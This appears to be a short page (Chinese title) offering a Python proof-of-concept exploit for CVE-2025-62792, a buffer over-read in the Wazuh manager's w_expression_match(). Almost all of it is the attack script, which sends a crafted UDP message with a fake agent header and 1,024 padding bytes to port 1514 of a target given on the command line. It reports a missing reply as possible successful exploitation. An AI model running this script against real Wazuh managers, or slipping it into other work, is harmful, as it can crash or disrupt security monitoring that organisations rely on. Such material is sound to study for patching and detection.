CVE-2025-62792 Wazuh w_expression_match缓冲区过度读取漏洞

#!/usr/bin/env python3 # CVE-2025-62792 PoC - Wazuh Buffer Over-read in w_expression_match() # This PoC demonstrates sending a specially crafted message to trigger the buffer over-read import socket import struct import time def send_malicious_message(manager_ip, manager_port=1514): """ Send a specially crafted message to trigger buffer over-read in wazuh manager. The message is designed to cause improper NULL termination in OS_CleanMSG(). """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Construct a message that will trigger the vulnerability # The message format follows Wazuh agent-manager protocol agent_id = "001" agent_name = "malicious_agent" agent_ip = "192.168.1.100" # Create a message with specific pattern to trigger over-read # Using repeated bytes without proper termination crafted_content = b'A' * 1024 + b'\x00\x00\x00' # Wazuh message header format message = f"{agent_id}:{agent_name}:{agent_ip}:#-syslog:CRON[1234]: " message += crafted_content.decode('latin-1', errors='ignore') # Send the malicious message sock.sendto(message.encode(), (manager_ip, manager_port)) print(f"[+] Malicious message sent to {manager_ip}:{manager_port}") print(f"[+] Message length: {len(message)} bytes") # Try to receive response try: response, addr = sock.recvfrom(4096) print(f"[+] Received response: {response[:100]}...") except socket.timeout: print("[-] No response received (may indicate successful exploitation)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-62792-poc.py <wazuh_manager_ip>") sys.exit(1) target_ip = sys.argv[1] send_malicious_message(target_ip)